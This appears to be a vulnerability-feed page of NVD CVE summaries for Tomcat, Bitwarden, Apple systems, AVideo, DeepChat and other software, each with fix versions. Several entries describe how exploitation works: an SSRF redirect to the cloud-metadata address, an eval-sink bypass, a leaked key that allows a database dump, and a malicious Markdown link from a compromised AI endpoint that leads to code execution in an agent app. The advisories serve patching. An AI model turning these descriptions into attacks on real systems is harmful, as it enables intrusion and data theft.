Improper Handling of Case Sensitivity vulnerability in LockOutRealm in Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109.
Older unsupported versions may also be affected.

Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118 which fix the issue.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43513).
Sources:
NVD CVE-2026-43513: https://nvd.nist.gov/vuln/detail/CVE-2026-43513
Vendor advisory (via NVD references): https://lists.apache.org/thread/ytjcgldshj73lcnd1sh95od5hrghwogp
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Improper Handling of Case Sensitivity vulnerability in LockOutRealm in Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109.
Older unsupported versions may also be affected.

Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118 which fix the issue.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Authorization vulnerability when multiple method constraints define an HTTP method for the same extension in Apache Tomcat.
https://kevwire.com/record/CVE-2026-43515
Improper Authorization vulnerability when multiple method constraints define an HTTP method for the same extension in Apache Tomcat. (May 12, 2026).
Improper Authorization vulnerability when multiple method constraints define an HTTP method for the same extension in Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109.

Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118 which fix the issue.
CVSS 9.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43515).
Sources:
NVD CVE-2026-43515: https://nvd.nist.gov/vuln/detail/CVE-2026-43515
Vendor advisory (via NVD references): https://lists.apache.org/thread/746nxfxod0wsocxtmv8pb8nkgmwpc6bb
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Improper Authorization vulnerability when multiple method constraints define an HTTP method for the same extension in Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109.

Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118 which fix the issue.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Bitwarden Server prior to v2026.4.0 contains a missing authorization vulnerability that allows a provider service user to add an arbitrary organization to their provider via `POST...
https://kevwire.com/record/CVE-2026-43639
Bitwarden Server prior to v2026.4.0 contains a missing authorization vulnerability that allows a provider service user to add an arbitrary organization to their provider via `POST... (May 11, 2026).
Bitwarden Server prior to v2026.4.0 contains a missing authorization vulnerability that allows a provider service user to add an arbitrary organization to their provider via `POST /providers/{providerId}/clients/existing`, resulting in takeover of the target organization; self-hosted installations are unaffected as this endpoint is restricted to Cloud via SelfHosted(NotSelfHostedOnly = true).
CVSS 8.9 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43639).
Sources:
NVD CVE-2026-43639: https://nvd.nist.gov/vuln/detail/CVE-2026-43639
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Bitwarden Server prior to v2026.4.0 contains a missing authorization vulnerability that allows a provider service user to add an arbitrary organization to their provider via `POST /providers/{providerId}/clients/existing`, resulting in takeover of the target organization; self-hosted installations are unaffected as this endpoint is restricted to Cloud via SelfHosted(NotSelfHostedOnly = true).

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Bitwarden Server prior to v2026.4.1 does not require master-password re-authentication when retrieving or rotating an organization's SCIM API key, allowing an authenticated user...
https://kevwire.com/record/CVE-2026-43640
Bitwarden Server prior to v2026.4.1 does not require master-password re-authentication when retrieving or rotating an organization's SCIM API key, allowing an authenticated user... (May 11, 2026).
Bitwarden Server prior to v2026.4.1 does not require master-password re-authentication when retrieving or rotating an organization's SCIM API key, allowing an authenticated user with SCIM management privileges to obtain the key using only a valid session.
CVSS 8.6 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43640).
Sources:
NVD CVE-2026-43640: https://nvd.nist.gov/vuln/detail/CVE-2026-43640
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Bitwarden Server prior to v2026.4.1 does not require master-password re-authentication when retrieving or rotating an organization's SCIM API key, allowing an authenticated user with SCIM management privileges to obtain the key using only a valid session.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A permissions issue was addressed with additional restrictions.
https://kevwire.com/record/CVE-2026-43652
A permissions issue was addressed with additional restrictions. (May 11, 2026).
A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Tahoe 26.5. An app may be able to access protected user data.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43652).
Sources:
NVD CVE-2026-43652: https://nvd.nist.gov/vuln/detail/CVE-2026-43652
Vendor advisory (via NVD references): https://support.apple.com/en-us/127115
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Tahoe 26.5. An app may be able to access protected user data.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The issue was addressed with improved memory handling.
https://kevwire.com/record/CVE-2026-43654
The issue was addressed with improved memory handling. (May 11, 2026).
The issue was addressed with improved memory handling. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. An app may be able to disclose kernel memory.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43654).
Sources:
NVD CVE-2026-43654: https://nvd.nist.gov/vuln/detail/CVE-2026-43654
Vendor advisory (via NVD references): https://support.apple.com/en-us/127110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
The issue was addressed with improved memory handling. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. An app may be able to disclose kernel memory.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An out-of-bounds read was addressed with improved bounds checking.
https://kevwire.com/record/CVE-2026-43655
An out-of-bounds read was addressed with improved bounds checking. (May 11, 2026).
An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, watchOS 26.5. An app may be able to cause unexpected system termination or read kernel memory.
CVSS 7.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43655).
Sources:
NVD CVE-2026-43655: https://nvd.nist.gov/vuln/detail/CVE-2026-43655
Vendor advisory (via NVD references): https://support.apple.com/en-us/127110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, watchOS 26.5. An app may be able to cause unexpected system termination or read kernel memory.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An out-of-bounds write issue was addressed with improved input validation.
https://kevwire.com/record/CVE-2026-43656
An out-of-bounds write issue was addressed with improved input validation. (May 11, 2026).
An out-of-bounds write issue was addressed with improved input validation. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. Parsing a maliciously crafted file may lead to an unexpected app termination.
CVSS 7.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43656).
Sources:
NVD CVE-2026-43656: https://nvd.nist.gov/vuln/detail/CVE-2026-43656
Vendor advisory (via NVD references): https://support.apple.com/en-us/127110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
An out-of-bounds write issue was addressed with improved input validation. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. Parsing a maliciously crafted file may lead to an unexpected app termination.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The issue was addressed with improved memory handling.
https://kevwire.com/record/CVE-2026-43658
The issue was addressed with improved memory handling. (May 11, 2026).
The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 18.7.10 and iPadOS 18.7.10, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected Safari crash.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43658).
Sources:
NVD CVE-2026-43658: https://nvd.nist.gov/vuln/detail/CVE-2026-43658
Vendor advisory (via NVD references): https://support.apple.com/en-us/127110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 18.7.10 and iPadOS 18.7.10, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected Safari crash.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A validation issue was addressed with improved logic.
https://kevwire.com/record/CVE-2026-43660
A validation issue was addressed with improved logic. (May 11, 2026).
A validation issue was addressed with improved logic. This issue is fixed in Safari 26.5, iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may prevent Content Security Policy from being enforced.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43660).
Sources:
NVD CVE-2026-43660: https://nvd.nist.gov/vuln/detail/CVE-2026-43660
Vendor advisory (via NVD references): https://support.apple.com/en-us/127110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A validation issue was addressed with improved logic. This issue is fixed in Safari 26.5, iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may prevent Content Security Policy from being enforced.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A buffer overflow issue was addressed with improved memory handling.
https://kevwire.com/record/CVE-2026-43661
A buffer overflow issue was addressed with improved memory handling. (May 11, 2026).
A buffer overflow issue was addressed with improved memory handling. This issue is fixed in iOS 18.7.10 and iPadOS 18.7.10, iOS 26.5 and iPadOS 26.5, iOS 26.7 and iPadOS 26.7, macOS Sequoia 15.7.8, macOS Sonoma 14.8.8, macOS Tahoe 26.5, tvOS 26.5, watchOS 26.5. Processing a maliciously crafted image may corrupt process memory.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43661).
Sources:
NVD CVE-2026-43661: https://nvd.nist.gov/vuln/detail/CVE-2026-43661
Vendor advisory (via NVD references): https://support.apple.com/en-us/127110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A buffer overflow issue was addressed with improved memory handling. This issue is fixed in iOS 18.7.10 and iPadOS 18.7.10, iOS 26.5 and iPadOS 26.5, iOS 26.7 and iPadOS 26.7, macOS Sequoia 15.7.8, macOS Sonoma 14.8.8, macOS Tahoe 26.5, tvOS 26.5, watchOS 26.5. Processing a maliciously crafted image may corrupt process memory.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Remote Code Execution vulnerability in Claris FileMaker Cloud allowed a user with Admin Console privileges to inject arbitrary operating system commands through unsanitized...
https://kevwire.com/record/CVE-2026-43685
A Remote Code Execution vulnerability in Claris FileMaker Cloud allowed a user with Admin Console privileges to inject arbitrary operating system commands through unsanitized... (May 12, 2026).
A Remote Code Execution vulnerability in Claris FileMaker Cloud allowed a user with Admin Console privileges to inject arbitrary operating system commands through unsanitized input in the External ODBC Data Source connection test feature. This issue is fixed in FileMaker Cloud 2.22.0.5.
CVSS 7.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43685).
Sources:
NVD CVE-2026-43685: https://nvd.nist.gov/vuln/detail/CVE-2026-43685
Vendor advisory (via NVD references): https://support.claris.com/s/answerview?anum=000049154&language=en_US
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
A Remote Code Execution vulnerability in Claris FileMaker Cloud allowed a user with Admin Console privileges to inject arbitrary operating system commands through unsanitized input in the External ODBC Data Source connection test feature. This issue is fixed in FileMaker Cloud 2.22.0.5.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### WWBN AVideo is an open source video platform.
https://kevwire.com/record/CVE-2026-43873
WWBN AVideo is an open source video platform. (May 11, 2026).
WWBN AVideo is an open source video platform. In versions up to and including 29.0, plugin/CloneSite/cloneClient.json.php echoes the local CloneSite shared secret ($objClone->myKey, a constant md5($global['systemRootPath'] . $global['salt'])) into the HTTP response body on every unauthenticated request. The unauthenticated error branch was intended to reject non-admin callers without a valid key, but the rejection message interpolates the expected key before die(). When the victim has CloneSite configured with a remote cloneSiteURL (standard federation/backup setup), the leaked myKey is exactly the credential that authenticates the victim to that remote server's cloneServer.json.php, allowing the attacker to impersonate the victim and trigger a full mysqldump of the remote's database to the remote's public videos/clones/ directory Commit e6566f56a28f4556b2a0a09d03717a719dcb49da contains an updated fix.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43873).
Sources:
NVD CVE-2026-43873: https://nvd.nist.gov/vuln/detail/CVE-2026-43873
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
WWBN AVideo is an open source video platform. In versions up to and including 29.0, plugin/CloneSite/cloneClient.json.php echoes the local CloneSite shared secret ($objClone->myKey, a constant md5($global['systemRootPath'] . $global['salt'])) into the HTTP response body on every unauthenticated request. The unauthenticated error branch was intended to reject non-admin callers without a valid key, but the rejection message interpolates the expected key before die(). When the victim has CloneSite configured with a remote cloneSiteURL (standard federation/backup setup), the leaked myKey is exactly the credential that authenticates the victim to that remote server's cloneServer.json.php, allowing the attacker to impersonate the victim and trigger a full mysqldump of the remote's database to the remote's public videos/clones/ directory Commit e6566f56a28f4556b2a0a09d03717a719dcb49da contains an updated fix.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### WWBN AVideo is an open source video platform.
https://kevwire.com/record/CVE-2026-43874
WWBN AVideo is an open source video platform. (May 11, 2026).
WWBN AVideo is an open source video platform. In versions up to and including 29.0, the server-side mitigation for the YPTSocket autoEvalCodeOnHTML eval sink (from CVE-2026-40911) only strips the payload when it sits under $json['msg'], but the relay function msgToResourceId() selects the outbound message from $msg['json'] before $msg['msg']. An unauthenticated attacker can obtain a WebSocket token from plugin/YPTSocket/getWebSocket.json.php, connect to the WebSocket server, and send a message with autoEvalCodeOnHTML nested under a top-level json field — the strip branch is skipped, the relay delivers the payload verbatim to any logged-in user identified by to_users_id, and the client script runs it through eval(). Commit 9f3006f9a89a34daa67a83c6ad35f450cb91fcce contains an updated fix.
CVSS 7.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43874).
Sources:
NVD CVE-2026-43874: https://nvd.nist.gov/vuln/detail/CVE-2026-43874
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
WWBN AVideo is an open source video platform. In versions up to and including 29.0, the server-side mitigation for the YPTSocket autoEvalCodeOnHTML eval sink (from CVE-2026-40911) only strips the payload when it sits under $json['msg'], but the relay function msgToResourceId() selects the outbound message from $msg['json'] before $msg['msg']. An unauthenticated attacker can obtain a WebSocket token from plugin/YPTSocket/getWebSocket.json.php, connect to the WebSocket server, and send a message with autoEvalCodeOnHTML nested under a top-level json field — the strip branch is skipped, the relay delivers the payload verbatim to any logged-in user identified by to_users_id, and the client script runs it through eval(). Commit 9f3006f9a89a34daa67a83c6ad35f450cb91fcce contains an updated fix.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### WWBN AVideo is an open source video platform.
https://kevwire.com/record/CVE-2026-43884
WWBN AVideo is an open source video platform. (May 11, 2026).
WWBN AVideo is an open source video platform. In versions up to and including 29.0, two endpoints (plugin/AI/receiveAsync.json.php and objects/EpgParser.php) in AVideo call isSSRFSafeURL() to validate user-supplied URLs, then fetch them using bare file_get_contents() without disabling PHP's automatic redirect following. An attacker can supply a URL pointing to a server they control that returns a 302 redirect to an internal/cloud-metadata address (e.g., http://169.254.169.254/latest/meta-data/). Since isSSRFSafeURL() only validates the initial URL, the redirect target bypasses all SSRF protections. Commit 603e7bf77a835584387327e35560262feb075db3 contains an updated fix.
CVSS 7.7 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43884).
Sources:
NVD CVE-2026-43884: https://nvd.nist.gov/vuln/detail/CVE-2026-43884
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
WWBN AVideo is an open source video platform. In versions up to and including 29.0, two endpoints (plugin/AI/receiveAsync.json.php and objects/EpgParser.php) in AVideo call isSSRFSafeURL() to validate user-supplied URLs, then fetch them using bare file_get_contents() without disabling PHP's automatic redirect following. An attacker can supply a URL pointing to a server they control that returns a 302 redirect to an internal/cloud-metadata address (e.g., http://169.254.169.254/latest/meta-data/). Since isSSRFSafeURL() only validates the initial URL, the redirect target bypasses all SSRF protections. Commit 603e7bf77a835584387327e35560262feb075db3 contains an updated fix.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### WWBN AVideo is an open source video platform.
https://kevwire.com/record/CVE-2026-43885
WWBN AVideo is an open source video platform. (May 11, 2026).
WWBN AVideo is an open source video platform. In versions up to and including 29.0, an unauthenticated user can read APISecret from objects/plugins.json.php and use it to call protected API endpoints (e.g. users_list) without logging in. Commit 1c36f229d0a103528fb9f64d0a1cc0e1e8f5999b contains an updated fix.
CVSS 7.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43885).
Sources:
NVD CVE-2026-43885: https://nvd.nist.gov/vuln/detail/CVE-2026-43885
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
WWBN AVideo is an open source video platform. In versions up to and including 29.0, an unauthenticated user can read APISecret from objects/plugins.json.php and use it to call protected API endpoints (e.g. users_list) without logging in. Commit 1c36f229d0a103528fb9f64d0a1cc0e1e8f5999b contains an updated fix.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### changedetection.io is a free open source web page change detection tool.
https://kevwire.com/record/CVE-2026-43891
changedetection.io is a free open source web page change detection tool. (May 12, 2026).
changedetection.io is a free open source web page change detection tool. Prior to 0.55.1, the vulnerability is caused by trusting attacker-controlled snapshot paths restored from backup files. The vulnerable flow starts in the backup restore logic. When a backup ZIP is restored, the application extracts the archive and copies each restored watch UUID directory directly into the live datastore using shutil.copytree(entry.path, dst_dir). This preserves attacker-controlled files inside the restored watch directory, including history.txt. After restore, the application parses history.txt in the watch history property and  returns the contents of the targeted local file. This vulnerability is fixed in 0.55.1.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43891).
Sources:
NVD CVE-2026-43891: https://nvd.nist.gov/vuln/detail/CVE-2026-43891
Vendor advisory (via NVD references): https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-8757-69j2-hx56
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
changedetection.io is a free open source web page change detection tool. Prior to 0.55.1, the vulnerability is caused by trusting attacker-controlled snapshot paths restored from backup files. The vulnerable flow starts in the backup restore logic. When a backup ZIP is restored, the application extracts the archive and copies each restored watch UUID directory directly into the live datastore using shutil.copytree(entry.path, dst_dir). This preserves attacker-controlled files inside the restored watch directory, including history.txt. After restore, the application parses history.txt in the watch history property and  returns the contents of the targeted local file. This vulnerability is fixed in 0.55.1.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### AntSword is a cross-platform website management toolkit.
https://kevwire.com/record/CVE-2026-43892
AntSword is a cross-platform website management toolkit. (May 12, 2026).
AntSword is a cross-platform website management toolkit. Prior to 2.1.16, incomplete noxss() sanitization leads to 1-click RCE via jquery.terminal format code injection. This vulnerability is fixed in 2.1.16.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43892).
Sources:
NVD CVE-2026-43892: https://nvd.nist.gov/vuln/detail/CVE-2026-43892
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
AntSword is a cross-platform website management toolkit. Prior to 2.1.16, incomplete noxss() sanitization leads to 1-click RCE via jquery.terminal format code injection. This vulnerability is fixed in 2.1.16.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### exiftool-vendored provides cross-platform Node.js access to ExifTool.
https://kevwire.com/record/CVE-2026-43893
exiftool-vendored provides cross-platform Node.js access to ExifTool. (May 11, 2026).
exiftool-vendored provides cross-platform Node.js access to ExifTool. Prior to 35.19.0, exiftool-vendored starts ExifTool in -stay_open True -@ - mode, where arguments are read from stdin one per line. In affected versions, several caller-supplied strings were interpolated into ExifTool arguments without rejecting line delimiters. A newline or carriage return inside one of those strings could split a single intended argument into multiple ExifTool arguments, allowing argument injection. The fix also rejects NUL bytes as unsafe control characters. Applications that pass attacker-controlled strings to affected APIs may allow an attacker to make ExifTool read files accessible to the ExifTool process, or write output to attacker-chosen file system paths accessible to that process. No remote code execution has been demonstrated. This vulnerability is fixed in 35.19.0.
CVSS 8.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43893).
Sources:
NVD CVE-2026-43893: https://nvd.nist.gov/vuln/detail/CVE-2026-43893
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
exiftool-vendored provides cross-platform Node.js access to ExifTool. Prior to 35.19.0, exiftool-vendored starts ExifTool in -stay_open True -@ - mode, where arguments are read from stdin one per line. In affected versions, several caller-supplied strings were interpolated into ExifTool arguments without rejecting line delimiters. A newline or carriage return inside one of those strings could split a single intended argument into multiple ExifTool arguments, allowing argument injection. The fix also rejects NUL bytes as unsafe control characters. Applications that pass attacker-controlled strings to affected APIs may allow an attacker to make ExifTool read files accessible to the ExifTool process, or write output to attacker-chosen file system paths accessible to that process. No remote code execution has been demonstrated. This vulnerability is fixed in 35.19.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### DeepChat is an open-source artificial intelligence agent platform that unifies models, tools, and agents.
https://kevwire.com/record/CVE-2026-43899
DeepChat is an open-source artificial intelligence agent platform that unifies models, tools, and agents. (May 11, 2026).
DeepChat is an open-source artificial intelligence agent platform that unifies models, tools, and agents. Prior to v1.0.4-beta.1, An incomplete mitigation for CVE-2025-55733 leaves DeepChat vulnerable to an arbitrary protocol execution bypass (RCE). While the patch correctly restricted api.openExternal() inside the renderer's preload/index.ts script, it structurally neglected to sanitize native Electron pop-up window handlers. An attacker or a compromised AI endpoint returning a Markdown link can trigger a target="_blank" native window interception in tabPresenter.ts, which forwards the malicious URL directly to shell.openExternal(url) and completely bypasses the isValidExternalUrl security boundary. This vulnerability is fixed in v1.0.4-beta.1.
CVSS 9.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43899).
Sources:
NVD CVE-2026-43899: https://nvd.nist.gov/vuln/detail/CVE-2026-43899
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
